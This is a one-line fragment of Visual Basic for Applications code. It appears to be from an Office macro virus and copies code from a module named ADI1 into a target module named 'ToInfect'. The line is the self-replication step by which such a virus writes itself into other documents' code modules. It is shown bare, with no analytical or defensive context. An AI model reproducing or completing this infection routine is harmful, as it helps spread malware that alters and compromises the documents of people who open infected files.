ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)